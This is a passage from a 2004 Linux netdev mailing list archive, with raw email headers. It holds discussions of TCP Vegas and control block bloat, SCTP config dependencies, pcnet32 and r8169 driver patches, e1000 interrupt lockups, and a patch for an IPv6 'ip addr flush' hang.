options) I remember when we made jokes about the size of TCBs of other stacks compared to Linux, but we must have exceeded them all by far. The additional code is not really a problem, but adding all that bloat to dynamic data structures adds up quickly when you have a few thousands of them, limiting scalability. -Andi From davem@redhat.com Mon Mar 8 15:31:30 2004 Received: with ECARTIS (v1.0.0; list netdev); Mon, 08 Mar 2004 15:31:51 -0800 (PST) Received: from mx1.redhat.com (mx1.redhat.com [66.187.233.31]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i28NVRKO010632 for ; Mon, 8 Mar 2004 15:31:29 -0800 Received: from int-mx1.corp.redhat.com (int-mx1.corp.redhat.com [172.16.52.254]) by mx1.redhat.com (8.12.10/8.12.10) with ESMTP id i28NVOST008072; Mon, 8 Mar 2004 18:31:24 -0500 Received: from devserv.devel.redhat.com (devserv.devel.redhat.com [172.16.58.1]) by int-mx1.corp.redhat.com (8.11.6/8.11.6) with ESMTP id i28NVN804096; Mon, 8 Mar 2004 18:31:23 -0500 Received: from cheetah.davemloft.net (localhost.localdomain [127.0.0.1]) by devserv.devel.redhat.com (8.12.10/8.12.10) with SMTP id i28NVEeF015485; Mon, 8 Mar 2004 18:31:14 -0500 Date: Mon, 8 Mar 2004 15:31:22 -0800 From: "David S. Miller" To: Andi Kleen Cc: shemminger@osdl.org, ak@suse.de, linux-net@vger.kernel.org, netdev@oss.sgi.com Subject: Re: [RFC] TCP Vegas for 2.6 Message-Id: <20040308153122.5829617f.davem@redhat.com> In-Reply-To: <20040308213646.GH26401@wotan.suse.de> References: <20040308130454.0442c04d@dell_ss3.pdx.osdl.net> <20040308212156.GE26401@wotan.suse.de> <20040308133009.1e068199@dell_ss3.pdx.osdl.net> <20040308213646.GH26401@wotan.suse.de> X-Mailer: Sylpheed version 0.9.7 (GTK+ 1.2.10; sparc-unknown-linux-gnu) X-Face: "_;p5u5aPsO,_Vsx"^v-pEq09'CU4&Dc1$fQExov$62l60cgCc%FnIwD=.UF^a>?5'9Kn[;433QFVV9M..2eN.@4ZWPGbdi<=?[:T>y?SD(R*-3It"Vj:)"dP Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 3868 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev Content-Length: 480 Lines: 12 On Mon, 8 Mar 2004 22:36:46 +0100 Andi Kleen wrote: > > CONFIG options are of no use vendors who need to ship binary kernels. > > I can well see a vendor trading scalability for experimental non standard TCP > algorithms that tend to be disabled anyways. I explicitly removed the CONFIG_ options guarding the westwood stuff when I added it to the tree. I want people to use this stuff, and I don't want them to have to enable weird config options just to do so. From davem@redhat.com Mon Mar 8 15:37:27 2004 Received: with ECARTIS (v1.0.0; list netdev); Mon, 08 Mar 2004 15:37:29 -0800 (PST) Received: from mx1.redhat.com (mx1.redhat.com [66.187.233.31]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i28NbRKO011057 for ; Mon, 8 Mar 2004 15:37:27 -0800 Received: from int-mx1.corp.redhat.com (int-mx1.corp.redhat.com [172.16.52.254]) by mx1.redhat.com (8.12.10/8.12.10) with ESMTP id i28NbOST010094; Mon, 8 Mar 2004 18:37:24 -0500 Received: from devserv.devel.redhat.com (devserv.devel.redhat.com [172.16.58.1]) by int-mx1.corp.redhat.com (8.11.6/8.11.6) with ESMTP id i28NbO805665; Mon, 8 Mar 2004 18:37:24 -0500 Received: from cheetah.davemloft.net (localhost.localdomain [127.0.0.1]) by devserv.devel.redhat.com (8.12.10/8.12.10) with SMTP id i28NbEeF017772; Mon, 8 Mar 2004 18:37:15 -0500 Date: Mon, 8 Mar 2004 15:37:23 -0800 From: "David S. Miller" To: Stephen Hemminger Cc: ak@suse.de, linux-net@vger.kernel.org, netdev@oss.sgi.com Subject: Re: [RFC] TCP Vegas for 2.6 Message-Id: <20040308153723.21244593.davem@redhat.com> In-Reply-To: <20040308134542.62320cae@dell_ss3.pdx.osdl.net> References: <20040308130454.0442c04d@dell_ss3.pdx.osdl.net> <20040308212156.GE26401@wotan.suse.de> <20040308133009.1e068199@dell_ss3.pdx.osdl.net> <20040308213646.GH26401@wotan.suse.de> <20040308134542.62320cae@dell_ss3.pdx.osdl.net> X-Mailer: Sylpheed version 0.9.7 (GTK+ 1.2.10; sparc-unknown-linux-gnu) X-Face: "_;p5u5aPsO,_Vsx"^v-pEq09'CU4&Dc1$fQExov$62l60cgCc%FnIwD=.UF^a>?5'9Kn[;433QFVV9M..2eN.@4ZWPGbdi<=?[:T>y?SD(R*-3It"Vj:)"dP Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 3869 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev Content-Length: 495 Lines: 11 On Mon, 8 Mar 2004 13:45:42 -0800 Stephen Hemminger wrote: > There is redundancy in the control block now, perhaps that could be squished, > fields that are only used during connection setup or if other things are true. > Also there seems to be several one byte wide booleans that could be collapsed > to bits. That's right, and this is where we should concentrate our efforts. The things that are truly unique in the TCB for westwood and vegas are actually quite small. From sri@us.ibm.com Mon Mar 8 17:24:03 2004 Received: with ECARTIS (v1.0.0; list netdev); Mon, 08 Mar 2004 17:24:07 -0800 (PST) Received: from e5.ny.us.ibm.com (e5.ny.us.ibm.com [32.97.182.105]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i291NuKO018329 for ; Mon, 8 Mar 2004 17:24:02 -0800 Received: from northrelay04.pok.ibm.com (northrelay04.pok.ibm.com [9.56.224.206]) by e5.ny.us.ibm.com (8.12.10/8.12.2) with ESMTP id i291MbJr664032; Mon, 8 Mar 2004 20:22:37 -0500 Received: from w-sridhar.beaverton.ibm.com (d01av02.pok.ibm.com [9.56.224.216]) by northrelay04.pok.ibm.com (8.12.10/NCO/VER6.6) with ESMTP id i291MldC112868; Mon, 8 Mar 2004 20:22:48 -0500 Date: Mon, 8 Mar 2004 17:22:35 -0800 (PST) From: Sridhar Samudrala X-X-Sender: sridhar@localhost.localdomain To: kaos@ocs.com.au cc: linux-kernel@vger.kernel.org, netdev@oss.sgi.com Subject: Cleaner way to conditionally disallow a CONFIG option as static Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-archive-position: 3870 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: sri@us.ibm.com Precedence: bulk X-list: netdev Content-Length: 920 Lines: 32 SCTP is allowed to be static only when IPV6 is also configured as static or not enabled. If IPV6 is configured as a module, SCTP also has to be a module. This is done right now in the following hackish ways in 2.6 and 2.4 using an additional config option(CONFIG_IPV6_SCTP__). In 2.6, net/sctp/Kconfig config IPV6_SCTP__ tristate default y if IPV6=n default IPV6 if IPV6 config IP_SCTP tristate "The SCTP Protocol (EXPERIMENTAL)" depends on IPV6_SCTP__ -------------------------------------------------------- In 2.4, net/sctp/Config.in if [ "$CONFIG_IPV6" != "n" ]; then define_bool CONFIG_IPV6_SCTP__ $CONFIG_IPV6 else define_bool CONFIG_IPV6_SCTP__ y fi dep_tristate ' The SCTP Protocol (EXPERIMENTAL)' CONFIG_IP_SCTP $CONFIG_IPV6_SCTP__ -------------------------------------------------------- Is there a much simpler and cleaner way to accomplish this in 2.6 and 2.4 config files? Thanks Sridhar From jgarzik@pobox.com Mon Mar 8 18:20:42 2004 Received: with ECARTIS (v1.0.0; list netdev); Mon, 08 Mar 2004 18:20:43 -0800 (PST) Received: from www.linux.org.uk (IDENT:93@parcelfarce.linux.theplanet.co.uk [195.92.249.252]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i292KfKO022831 for ; Mon, 8 Mar 2004 18:20:42 -0800 Received: from rdu74-153-143.nc.rr.com ([24.74.153.143]:35342 helo=pobox.com) by www.linux.org.uk with asmtp (TLSv1:AES256-SHA:256) (Exim 4.22) id 1B0WrI-0005lm-KK; Tue, 09 Mar 2004 02:20:40 +0000 Message-ID: <404D29ED.7050003@pobox.com> Date: Mon, 08 Mar 2004 21:20:29 -0500 From: Jeff Garzik User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.4) Gecko/20030703 X-Accept-Language: en-us, en MIME-Version: 1.0 To: Don Fry CC: netdev@oss.sgi.com Subject: Re: [PATCH 2.4.26-pre2] netdevice.h: add netif_msg_init helper References: <200403081910.i28JAli10587@DYN318364BLD.beaverton.ibm.com> In-Reply-To: <200403081910.i28JAli10587@DYN318364BLD.beaverton.ibm.com> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-archive-position: 3872 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: jgarzik@pobox.com Precedence: bulk X-list: netdev Content-Length: 404 Lines: 15 Don Fry wrote: > Please apply the following patch to 2.4.26-pre2 > > This patch adds a helper function to initialize the debug bit mask > for use with netif_msg_*. When the debug_value is out of range > it returns the default_msg_enable_bits. Tested IA32. Applying to 2.4 and 2.6... will be after 2.6.4 is released though, since this is a new feature and not Release Candidate material. Jeff From jgarzik@pobox.com Mon Mar 8 18:19:55 2004 Received: with ECARTIS (v1.0.0; list netdev); Mon, 08 Mar 2004 18:20:04 -0800 (PST) Received: from www.linux.org.uk (IDENT:93@parcelfarce.linux.theplanet.co.uk [195.92.249.252]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i292JqKO022716 for ; Mon, 8 Mar 2004 18:19:55 -0800 Received: from rdu74-153-143.nc.rr.com ([24.74.153.143]:35341 helo=pobox.com) by www.linux.org.uk with asmtp (TLSv1:AES256-SHA:256) (Exim 4.22) id 1B0WqR-0005l0-LI; Tue, 09 Mar 2004 02:19:47 +0000 Message-ID: <404D29B7.6070005@pobox.com> Date: Mon, 08 Mar 2004 21:19:35 -0500 From: Jeff Garzik User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.4) Gecko/20030703 X-Accept-Language: en-us, en MIME-Version: 1.0 To: Don Fry CC: tsbogend@alpha.franken.de, netdev@oss.sgi.com Subject: Re: [PATCH 2.6.4-rc2-bk4 2/2] pcnet32 use netif_msg_init References: <200403081946.i28Jkrb10646@DYN318364BLD.beaverton.ibm.com> In-Reply-To: <200403081946.i28Jkrb10646@DYN318364BLD.beaverton.ibm.com> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-archive-position: 3871 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: jgarzik@pobox.com Precedence: bulk X-list: netdev Content-Length: 375 Lines: 18 Don Fry wrote: > @@ -2013,8 +2016,7 @@ > { > printk(KERN_INFO "%s", version); > > - if (debug >= 0 && debug < (sizeof(int) - 1)) > - pcnet32_debug = 1 << debug; > + pcnet32_debug = netif_msg_init(debug, 0); Do you really want to default to silence? IMO define a PCNET32_DEF_MSG_ENABLE with a few of the critical bits like probe-time information. Jeff From jgarzik@pobox.com Mon Mar 8 18:26:11 2004 Received: with ECARTIS (v1.0.0; list netdev); Mon, 08 Mar 2004 18:26:13 -0800 (PST) Received: from www.linux.org.uk (IDENT:93@parcelfarce.linux.theplanet.co.uk [195.92.249.252]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i292QAKO023818 for ; Mon, 8 Mar 2004 18:26:10 -0800 Received: from rdu74-153-143.nc.rr.com ([24.74.153.143]:35345 helo=pobox.com) by www.linux.org.uk with asmtp (TLSv1:AES256-SHA:256) (Exim 4.22) id 1B0WwY-0005sG-Rh; Tue, 09 Mar 2004 02:26:07 +0000 Message-ID: <404D2B33.6020900@pobox.com> Date: Mon, 08 Mar 2004 21:25:55 -0500 From: Jeff Garzik User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.4) Gecko/20030703 X-Accept-Language: en-us, en MIME-Version: 1.0 To: Don Fry CC: tsbogend@alpha.franken.de, netdev@oss.sgi.com Subject: Re: [PATCH 2.6.4-rc2-bk4 1/2] pcnet32 transmit hang fix References: <200403081942.i28Jga910632@DYN318364BLD.beaverton.ibm.com> In-Reply-To: <200403081942.i28Jga910632@DYN318364BLD.beaverton.ibm.com> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-archive-position: 3873 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: jgarzik@pobox.com Precedence: bulk X-list: netdev Content-Length: 10 Lines: 3 applied From jgarzik@pobox.com Mon Mar 8 18:26:17 2004 Received: with ECARTIS (v1.0.0; list netdev); Mon, 08 Mar 2004 18:26:18 -0800 (PST) Received: from www.linux.org.uk (IDENT:93@parcelfarce.linux.theplanet.co.uk [195.92.249.252]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i292QGKO023872 for ; Mon, 8 Mar 2004 18:26:17 -0800 Received: from rdu74-153-143.nc.rr.com ([24.74.153.143]:35346 helo=pobox.com) by www.linux.org.uk with asmtp (TLSv1:AES256-SHA:256) (Exim 4.22) id 1B0Wwf-0005t8-2P; Tue, 09 Mar 2004 02:26:13 +0000 Message-ID: <404D2B39.4050306@pobox.com> Date: Mon, 08 Mar 2004 21:26:01 -0500 From: Jeff Garzik User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.4) Gecko/20030703 X-Accept-Language: en-us, en MIME-Version: 1.0 To: mzyngier@freesurf.fr CC: pawel.sokolowski@muflon.linux.pl, netdev@oss.sgi.com, Stephen Hemminger Subject: Re: 2.6.4-rc1 + hp100 EISA, not working References: In-Reply-To: Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-archive-position: 3874 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: jgarzik@pobox.com Precedence: bulk X-list: netdev Content-Length: 10 Lines: 3 applied From nicolas.crochu@sgam.com Tue Mar 9 01:01:11 2004 Received: with ECARTIS (v1.0.0; list netdev); Tue, 09 Mar 2004 01:01:13 -0800 (PST) Received: from mail.sgam.fr (mail.sgam.com [194.119.92.19]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i29919KO005508 for ; Tue, 9 Mar 2004 01:01:10 -0800 Received: from fr-mailapp1.fr.sgam.socgen (mailapp1 [10.15.1.14]) by mail.sgam.fr (8.12.10/8.12.10) with ESMTP id i2990vSX026047; Tue, 9 Mar 2004 10:00:57 +0100 (MET) Received: from UC1293.fr.sgam.socgen ([10.50.5.53]) by fr-mailapp1.fr.sgam.socgen with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2657.72) id 1XZHQ805; Tue, 9 Mar 2004 10:01:01 +0100 Subject: Re: [update] 2.6.4-rc2 - Realtek 8169 patches From: crochu nicolas To: romieu@fr.zoreil.com Cc: netdev@oss.sgi.com In-Reply-To: <20040307023748.A7829@electric-eye.fr.zoreil.com> References: <20040307023748.A7829@electric-eye.fr.zoreil.com> Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="=-8ffB+lyr+tPBDC0kMySh" Message-Id: <1078822878.2408.8.camel@pinacola> Mime-Version: 1.0 X-Mailer: Ximian Evolution 1.4.4-8mdk Date: Tue, 09 Mar 2004 10:01:19 +0100 X-archive-position: 3876 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: nicolas.crochu@sgam.com Precedence: bulk X-list: netdev Content-Length: 1116 Lines: 48 --=-8ffB+lyr+tPBDC0kMySh Content-Type: text/plain Content-Transfer-Encoding: quoted-printable If i apply only these patch, everything goes fine r8169-dma-api-tx.patch r8169-dma-api-rx-buffers.patch r8169-dma-api-tx-buffers.patch r8169-rx_copybreak.patch r8169-mac-phy-version.patch r8169-init_one.patch r8169-timer.patch r8169-hw_start.patch r8169-intr_mask.patch r8169-suspend.patch r8169-endianness.patch r8169-getstats.patch if i apply r8169-addr-high.patch,=20 then i can ping myself, but i can't ping the rest of the world.=20 and, even if i put back my previous correct working driver,=20 i can't make it work right =3D> reboot. nothing realy interesting in the logfiles. C.Nicolas. --=-8ffB+lyr+tPBDC0kMySh Content-Type: application/pgp-signature; name=signature.asc Content-Description: Ceci est une partie de message =?ISO-8859-1?Q?num=E9riquement?= =?ISO-8859-1?Q?_sign=E9e?= -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.3 (GNU/Linux) iD8DBQBATYfdxsSeKWK8V4QRAs+AAJ4z9gjWvGvFXu6KyiVGg4zFNCSYxQCeMVns mkbJyGm7tKlnWT7ALM83hrY= =9iq0 -----END PGP SIGNATURE----- --=-8ffB+lyr+tPBDC0kMySh-- From tore@linpro.no Tue Mar 9 05:48:32 2004 Received: with ECARTIS (v1.0.0; list netdev); Tue, 09 Mar 2004 05:48:36 -0800 (PST) Received: from head.linpro.no (head.linpro.no [80.232.36.1]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i29DmUKO023583 for ; Tue, 9 Mar 2004 05:48:31 -0800 Received: from nfsd.linpro.no ([80.232.36.130]) by head.linpro.no with esmtp (Exim 4.14 #1 (Debian)) id 1B0h1T-00013s-H0; Tue, 09 Mar 2004 14:11:51 +0100 Received: from tore by nfsd.linpro.no with local (Exim 3.35 #1 (Debian)) id 1B0h1T-0008Bl-00; Tue, 09 Mar 2004 14:11:51 +0100 To: netdev@oss.sgi.com Subject: Temporary lockups (5-10 secs), probably e1000 related From: Tore Anderson Organization: Linpro AS; Date: Tue, 09 Mar 2004 14:11:51 +0100 Message-ID: User-Agent: Gnus/5.1002 (Gnus v5.10.2) Emacs/21.2 (gnu/linux) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Scanner: exiscan for exim4 (http://duncanthrax.net/exiscan/) *1B0h1T-00013s-H0*.P1FZdWArJo* X-archive-position: 3877 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: tore@linpro.no Precedence: bulk X-list: netdev Content-Length: 3940 Lines: 75 Hi, I've got a problem with a pair of Dell PowerEdge 650 firewalls. One to three times an hour, they freeze, no traffic are sent/received, and I am unable to do anything at the console. After five to ten second, normal operation resumes. When the situation occur CPU usage is maxed out and the number of interrupts from the e1000 are skyrocketing, as evidenced by this "vmstat 1" log: 1078823960: procs memory swap io system cpu 1078823960: r b w swpd free buff cache si so bi bo in cs us sy id 1078823966: 0 0 0 0 312664 43628 90288 0 0 0 0 3266 71 0 7 93 1078823968: 0 0 1 0 312664 43628 90288 0 0 0 148 8036 177 0 65 35 1078823973: 2 0 1 0 312668 43628 90288 0 0 0 0 19421 114 0 100 0 1078823974: 4 0 1 0 312376 43628 90288 0 0 0 52 24794 129 0 100 0 1078823975: 0 0 0 0 312664 43628 90288 0 0 0 160 5849 483 8 10 82 1078823976: 0 0 0 0 312664 43628 90288 0 0 0 28 3114 81 0 5 95 1078823978: 0 0 0 0 312664 43628 90288 0 0 0 0 2716 39 0 3 97 (The first column is UNIX-date - the system is so swamped that it up to five seconds to retrieve the vmstat data.) Also, here's a log of how the various interrupts in /proc/interrupts increase second by second in the same period: time irq 0 irq 1 irq 2 irq 4 irq 5 irq 8 irq 9 irq 10 irq 14 irq 15 ---- ----- ----- ----- ----- ----- ----- ----- ------ ------ ------ 1078823966 101 0 0 16 1340 0 0 0 0 1803 1078823967 106 0 0 8 2080 0 0 48 0 2065 1078823968 155 0 0 24 2634 0 0 0 0 3862 1078823970 206 0 0 24 2218 0 0 0 0 10073 1078823974 392 0 0 48 3006 0 0 8 0 25546 1078823975 107 0 0 0 1066 0 0 29 0 4344 1078823976 101 0 0 24 1202 0 0 8 0 1891 1078823977 101 0 0 0 1398 0 0 0 0 1277 Note that the readout took four seconds here as aswell. IRQ 15 is eth1, the e1000's secondary port. This port operates as a dot1q VLAN trunk, with about 20 eth1.x virtual interfaces. It is connected to a Dell PowerConnect 5224. IRQ 5 is the primary port, which are connected via a dedicated VLAN on the same PowerConnect switch. If you take into account the delay between the updates, the IRQ 5 count appears to be normal all the time. Apart from doing packet forwarding and VLAN tagging, the firewalls have a somewhat extensive iptables setup, and a few low-traffic IPVS services. The firewalls, which are identical both in hardware and software, are set up in a failover configuration. The situation only occurs on the firewall that's the active one at the time, so it seems it's somewhat related to load. On the other hand, the average throughput are only around 15 mbit/s, and when they operate normally they have about zilch in load. The ifconfig counters show no errors, overruns, dropped packages, and so on - everything looks perfectly normal. So I'm fresh out of ideas as to what more I can do to pinpoint and eliminate this problem. I've tried a few different kernels and it happens on all of them: 2.4.24 with standard e1000 driver (5.2.20-k1) 2.4.25 with standard e1000 driver (5.2.20-k1) 2.4.24 with Intel's e1000 driver (5.2.30.1) Have anyone else here experienced the same thing? Or have any suggestions as to what I can do to find out what causes it? Thanks, -- Tore Anderson From okir@suse.de Tue Mar 9 07:07:37 2004 Received: with ECARTIS (v1.0.0; list netdev); Tue, 09 Mar 2004 07:07:45 -0800 (PST) Received: from Cantor.suse.de (ns.suse.de [195.135.220.2]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i29F7aKO006094 for ; Tue, 9 Mar 2004 07:07:36 -0800 Received: from hermes.suse.de (Hermes.suse.de [195.135.221.8]) (using TLSv1 with cipher EDH-RSA-DES-CBC3-SHA (168/168 bits)) (No client certificate requested) by Cantor.suse.de (Postfix) with ESMTP id 230B32C1C97 for ; Tue, 9 Mar 2004 16:07:31 +0100 (CET) Date: Tue, 9 Mar 2004 16:07:30 +0100 From: Olaf Kirch To: netdev@oss.sgi.com Subject: Re: ip addr flush hangs Message-ID: <20040309150730.GE14419@suse.de> References: <20040309144824.GD14419@suse.de> Mime-Version: 1.0 Content-Type: multipart/mixed; boundary="Q68bSM7Ycu6FN28Q" Content-Disposition: inline In-Reply-To: <20040309144824.GD14419@suse.de> User-Agent: Mutt/1.4i X-archive-position: 3878 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: okir@suse.de Precedence: bulk X-list: netdev Content-Length: 1639 Lines: 53 --Q68bSM7Ycu6FN28Q Content-Type: text/plain; charset=iso-8859-15 Content-Disposition: inline On Tue, Mar 09, 2004 at 03:48:24PM +0100, Olaf Kirch wrote: > This is not entirely consistent. Should a NETDEV_DOWN zap the > ipv6 configuration completely? Sorry to follow up on my own mail... Cross-checking ipv4, I can see that it behaves the same way as IPv6 (i.e. NETDEV_DOWN partly leaves the interface configuration intact). The difference though is that dump_ifaddr doesn't include multicast addresses in its report. The attached patch disables reporting of multicast and anycast addresses in inet6_dump_ifaddr Olaf -- Olaf Kirch | Stop wasting entropy - start using predictable okir@suse.de | tempfile names today! ---------------+ --Q68bSM7Ycu6FN28Q Content-Type: text/plain; charset=iso-8859-15 Content-Disposition: attachment; filename=ipv6-netdev-down --- linux-2.6.3/net/ipv6/addrconf.c.orig 2004-03-09 15:46:33.000000000 +0100 +++ linux-2.6.3/net/ipv6/addrconf.c 2004-03-09 16:04:54.000000000 +0100 @@ -2898,6 +2898,11 @@ static int inet6_dump_ifaddr(struct sk_b goto done; } #endif + /* You can't delete these via RTM_DELADDR, so we shouldn't + * display them here. Otherwise "ip addr flush" will loop + * forever trying to delete ff02::1 etc. + * --okir */ +#if 0 /* multicast address */ for (ifmca = idev->mc_list; ifmca; ifmca = ifmca->next, ip_idx++) { @@ -2918,6 +2923,7 @@ static int inet6_dump_ifaddr(struct sk_b cb->nlh->nlmsg_seq, RTM_NEWADDR)) <= 0) goto done; } +#endif read_unlock_bh(&idev->lock); in6_dev_put(idev); } --Q68bSM7Ycu6FN28Q-- From okir@suse.de Tue Mar 9 07:32:24 2004 Received: with ECARTIS (v1.0.0; list netdev); Tue, 09 Mar 2004 07:32:30 -0800 (PST) Received: from Cantor.suse.de (ns.suse.de [195.135.220.2]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i29FWDKO011129 for ; Tue, 9 Mar 2004 07:32:14 -0800 Received: from hermes.suse.de (Hermes.suse.de [195.135.221.8]) (using TLSv1 with cipher EDH-RSA-DES-CBC3-SHA (168/168 bits)) (No client certificate requested) by Cantor.suse.de (Postfix) with ESMTP id 58E402C1924 for ; Tue, 9 Mar 2004 15:48:24 +0100 (CET) Date: Tue, 9 Mar 2004 15:48:24 +0100 From: Olaf Kirch To: netdev@oss.sgi.com Subject: ip addr flush hangs Message-ID: <20040309144824.GD14419@suse.de> Mime-Version: 1.0 Content-Type: text/plain; charset=iso-8859-15 Content-Disposition: inline User-Agent: Mutt/1.4i X-archive-position: 3879 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: okir@suse.de Precedence: bulk X-list: netdev Content-Length: 1295 Lines: 34 Hi, I'm currently debugging the following problem: on a 2.6.3 kernel, when doing this ifconfig eth0 down ip addr flush dev eth0 The second command hangs indefinitely. The reason is that the kernel reports ipv6-all-hosts (ff02::1) when dumping all addresses, but RTM_DELADDR on ff02::1 doesn't do anything. As /sbin/ip will loop until the kernel reports no more matching addresses, it will go on like that forever. I don't see an obvious fix to this issue. On one hand, calling ifconfig down will result in a call to addrconf_ifdown(dev, 0). This will clear the list of unicast addresses assigned to this interface, but will not clear the list of multicast addresses (it unloads them from the NIC, and sends IGMP leave packets, but the list of addresses will remain attached to the device). So it doesn't destroy the interface completely, it zaps its state just partly, intentionally. On the other hand, if you manually remove all addresses from the interface, this will result in a call to addrconf_ifdown(dev, 1), causing the mcast list to be zapped as well. This is not entirely consistent. Should a NETDEV_DOWN zap the ipv6 configuration completely? Olaf -- Olaf Kirch | Stop wasting entropy - start using predictable okir@suse.de | tempfile names today! ---------------+ From jheffner@psc.edu Tue Mar 9 09:52:20 2004 Received: with ECARTIS (v1.0.0; list netdev); Tue, 09 Mar 2004 09:52:25 -0800 (PST) Received: from mailer1.psc.edu (mailer1.psc.edu [128.182.58.100]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i29HqJKO024660 for ; Tue, 9 Mar 2004 09:52:20 -0800 Received: from dexter.psc.edu (dexter.psc.edu [128.182.61.232]) by mailer1.psc.edu (8.12.10/8.12.5) with ESMTP id i29HqF6t021213 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Tue, 9 Mar 2004 12:52:15 -0500 (EST) Received: from dexter.psc.edu (dexter.psc.edu [128.182.61.232]) by dexter.psc.edu (8.12.10/8.12.5) with ESMTP id i29HqEOP005999; Tue, 9 Mar 2004 12:52:14 -0500 (EST) Date: Tue, 9 Mar 2004 12:52:14 -0500 (EST) From: John Heffner To: Stephen Hemminger cc: linux-net , Subject: Re: [RFC] TCP Vegas for 2.6 In-Reply-To: <20040308134542.62320cae@dell_ss3.pdx.osdl.net> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Virus-Scanned: ClamAV version 'clamd / ClamAV version 0.66', clamav-milter version '0.60p' X-archive-position: 3880 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: jheffner@psc.edu Precedence: bulk X-list: netdev Content-Length: 934 Lines: 25 On Mon, 8 Mar 2004, Stephen Hemminger wrote: > On Mon, 8 Mar 2004 22:36:46 +0100 > Andi Kleen wrote: > > > > CONFIG options are of no use vendors who need to ship binary kernels. > > > > I can well see a vendor trading scalability for experimental non standard TCP > > algorithms that tend to be disabled anyways. > > If Vegas proves to be as reliable in Linux as BSD, it probably will be the > default. I'm curious what you mean about BSD. I would be very cautious about turning on Vegas by default. In certain cases, it is exactly the right thing to do. However, in many cases it is not. Vegas will end up losing when competing against regular Reno-ish congestion control. Vegas also has issues with timer granularity, and tuning its parameters can be quite tricky. There are a number of unusual failure modes as well, such as responding to congestion on the reverse path, or caused by cross traffic. -John From ak@suse.de Tue Mar 9 10:03:38 2004 Received: with ECARTIS (v1.0.0; list netdev); Tue, 09 Mar 2004 10:03:41 -0800 (PST) Received: from Cantor.suse.de (ns.suse.de [195.135.220.2]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i29I3bKO025178 for ; Tue, 9 Mar 2004 10:03:38 -0800 Received: from hermes.suse.de (Hermes.suse.de [195.135.221.8]) (using TLSv1 with cipher EDH-RSA-DES-CBC3-SHA (168/168 bits)) (No client certificate requested) by Cantor.suse.de (Postfix) with ESMTP id CE4852C37AC; Tue, 9 Mar 2004 19:03:31 +0100 (CET) Date: Tue, 9 Mar 2004 19:03:31 +0100 From: Andi Kleen To: John Heffner Cc: Stephen Hemminger , linux-net , netdev@oss.sgi.com Subject: Re: [RFC] TCP Vegas for 2.6 Message-ID: <20040309180331.GC11604@wotan.suse.de> References: <20040308134542.62320cae@dell_ss3.pdx.osdl.net> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: X-archive-position: 3881 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: ak@suse.de Precedence: bulk X-list: netdev Content-Length: 1597 Lines: 40 On Tue, Mar 09, 2004 at 12:52:14PM -0500, John Heffner wrote: > On Mon, 8 Mar 2004, Stephen Hemminger wrote: > > > On Mon, 8 Mar 2004 22:36:46 +0100 > > Andi Kleen wrote: 